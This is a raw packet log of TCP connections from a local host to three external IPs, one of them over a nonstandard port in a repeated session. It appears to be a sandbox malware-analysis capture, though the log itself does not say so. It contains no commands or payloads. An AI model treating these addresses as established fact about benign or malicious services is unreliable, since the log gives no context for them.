Sep 26, 2024 10:57:01.480155945 CEST	443	49704	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:01.480165958 CEST	49704	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:01.480207920 CEST	49704	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:01.483500957 CEST	49704	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:01.619348049 CEST	49705	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:01.619400024 CEST	443	49705	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:01.619477034 CEST	49705	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:01.619885921 CEST	49705	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:01.619898081 CEST	443	49705	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:02.109303951 CEST	443	49705	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:02.109380007 CEST	49705	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:02.111705065 CEST	49705	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:02.111712933 CEST	443	49705	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:02.111917019 CEST	443	49705	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:02.113334894 CEST	49705	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:02.159404039 CEST	443	49705	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:02.264605045 CEST	443	49705	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:02.273957014 CEST	443	49705	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:02.273971081 CEST	443	49705	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:02.274137020 CEST	49705	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:02.274149895 CEST	443	49705	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:02.274235010 CEST	49705	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:02.356720924 CEST	443	49705	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:02.356779099 CEST	443	49705	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:02.356895924 CEST	49705	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:02.356895924 CEST	49705	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:02.356909037 CEST	443	49705	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:02.356961966 CEST	49705	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:02.364938974 CEST	443	49705	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:02.364984989 CEST	443	49705	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:02.365050077 CEST	49705	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:02.365056992 CEST	443	49705	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:02.365118027 CEST	49705	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:02.365118027 CEST	49705	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:02.446768045 CEST	443	49705	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:02.446909904 CEST	443	49705	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:02.446973085 CEST	49705	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:02.448954105 CEST	49705	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:02.448954105 CEST	49705	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:02.472476006 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:02.477330923 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:02.477440119 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:02.479974031 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:02.484776020 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.208159924 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.208188057 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.208201885 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.208216906 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.208230019 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.208276987 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.208277941 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.208288908 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.208311081 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.208372116 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.208425045 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.208439112 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.208455086 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.208534956 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.208534956 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.213269949 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.213323116 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.213337898 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.213381052 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.253076077 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.333312035 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.333364010 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.333379984 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.333430052 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.333523989 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.333539963 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.333569050 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.333750010 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.333796978 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.333816051 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.333832026 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.333873034 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.333977938 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.333992004 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.334033012 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.334664106 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.334717035 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.334732056 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.334764957 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.334851980 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.334867001 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.334899902 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.335623980 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.335658073 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.335679054 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.335671902 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.335726023 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.335835934 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.335851908 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.335896969 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.336487055 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.336530924 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.336544991 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.336579084 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.378830910 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.426012039 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.457689047 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.457731009 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.457748890 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.457751036 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.457763910 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.457798004 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.457814932 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.457829952 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.457844973 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.457865953 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.457911015 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.458348036 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.458373070 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.458391905 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.458425999 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.458452940 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.458468914 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.458503962 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.458561897 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.458578110 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.458599091 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.458610058 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.458616018 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.458657026 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.459295034 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.459346056 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.459368944 CEST	80	49706	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:03.503079891 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:03.578274012 CEST	49706	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:15.882849932 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:57:15.887825012 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:57:15.887923956 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:57:15.910849094 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:57:15.915715933 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:57:16.600454092 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:57:16.674472094 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:57:16.679373026 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:57:16.900038004 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:57:17.034324884 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:57:19.075743914 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:57:19.080897093 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:57:19.081224918 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:57:19.086174011 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:57:21.697942019 CEST	49716	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:21.697988987 CEST	443	49716	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:21.698164940 CEST	49716	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:21.700484037 CEST	49716	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:21.700517893 CEST	443	49716	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:22.209690094 CEST	443	49716	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:22.209785938 CEST	49716	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:22.215684891 CEST	49716	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:22.215730906 CEST	443	49716	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:22.216047049 CEST	443	49716	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:22.223453999 CEST	49716	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:22.271401882 CEST	443	49716	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:22.362180948 CEST	443	49716	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:22.362778902 CEST	443	49716	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:22.362803936 CEST	443	49716	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:22.362854004 CEST	49716	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:22.362901926 CEST	443	49716	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:22.362937927 CEST	443	49716	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:22.362973928 CEST	49716	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:22.363007069 CEST	49716	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:22.367711067 CEST	49716	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:23.082036972 CEST	49717	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:23.082112074 CEST	443	49717	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:23.082196951 CEST	49717	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:23.082595110 CEST	49717	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:23.082631111 CEST	443	49717	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:23.571258068 CEST	443	49717	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:23.571346045 CEST	49717	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:23.572920084 CEST	49717	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:23.572942972 CEST	443	49717	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:23.573721886 CEST	443	49717	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:23.574896097 CEST	49717	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:23.615402937 CEST	443	49717	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:23.713355064 CEST	443	49717	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:23.722765923 CEST	443	49717	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:23.722790956 CEST	443	49717	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:23.722845078 CEST	49717	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:23.722875118 CEST	443	49717	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:23.722959042 CEST	49717	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:24.039293051 CEST	443	49717	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:24.039319992 CEST	443	49717	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:24.039364100 CEST	443	49717	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:24.039374113 CEST	49717	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:24.039427042 CEST	443	49717	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:24.039463997 CEST	49717	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:24.039463997 CEST	49717	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:24.039482117 CEST	443	49717	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:24.039525032 CEST	49717	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:24.043203115 CEST	443	49717	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:24.043248892 CEST	443	49717	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:24.043287039 CEST	49717	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:24.043298960 CEST	443	49717	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:24.043334007 CEST	49717	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:24.043354034 CEST	49717	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:24.044377089 CEST	443	49717	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:24.044447899 CEST	49717	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:24.044461012 CEST	443	49717	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:24.044507980 CEST	443	49717	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:24.044559002 CEST	49717	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:24.044811964 CEST	49717	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:24.046135902 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:24.051012993 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.051114082 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:24.051206112 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:24.056252003 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.776057959 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.776106119 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.776145935 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.776180029 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.776209116 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:24.776215076 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.776247978 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:24.776251078 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.776287079 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.776320934 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.776333094 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:24.776359081 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.776366949 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:24.776390076 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.779963970 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:24.781296015 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.781353951 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.781388044 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.781407118 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:24.831213951 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:24.900758028 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.900799036 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.900819063 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.900842905 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:24.900867939 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.900888920 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.900923967 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:24.901185989 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.901238918 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:24.901303053 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.901449919 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.901490927 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.901494026 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:24.901510954 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.901676893 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.901698112 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.901722908 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:24.901760101 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:24.902311087 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.902359009 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.902378082 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.902421951 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:24.902446985 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.902467012 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.902492046 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:24.903167009 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.903220892 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:24.903249025 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.903269053 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.903318882 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.903337002 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.903362036 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:24.903409004 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:24.904005051 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.987644911 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.987746954 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:24.987787962 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:25.025340080 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:25.025374889 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:25.025392056 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:25.025399923 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:25.025438070 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:25.025459051 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:25.025527954 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:25.025573969 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:25.025614023 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:25.025676966 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:25.025726080 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:25.025733948 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:25.025799036 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:25.025814056 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:25.025831938 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:25.025842905 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:25.025872946 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:25.025888920 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:25.026360989 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:25.026387930 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:25.026405096 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:25.026411057 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:25.026506901 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:25.026524067 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:25.026540041 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:25.026555061 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:25.026556969 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:25.026591063 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:25.026602983 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:25.027200937 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:25.074369907 CEST	80	49718	91.202.233.169	192.168.2.5
Sep 26, 2024 10:57:25.074479103 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:26.292759895 CEST	49718	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:57:32.002490997 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:57:32.008133888 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:57:32.008218050 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:57:32.013086081 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:57:32.229252100 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:32.229305983 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:32.229377985 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:32.233016968 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:32.233036041 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:32.415579081 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:57:32.534333944 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:57:32.595011950 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:57:32.603673935 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:57:32.608561993 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:57:32.609148979 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:57:32.613949060 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:57:40.803283930 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:57:40.969973087 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:57:40.970081091 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:57:44.909924984 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:57:44.919462919 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:57:44.919594049 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:57:44.927782059 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:57:45.296571016 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:57:45.346872091 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:57:45.470407009 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:57:45.471776962 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:57:45.476653099 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:57:45.476725101 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:57:45.481612921 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:57:57.832015991 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:57:57.837399960 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:57:57.837483883 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:57:57.842359066 CEST	35650	49710	45.135.232.38	192.168.2.5
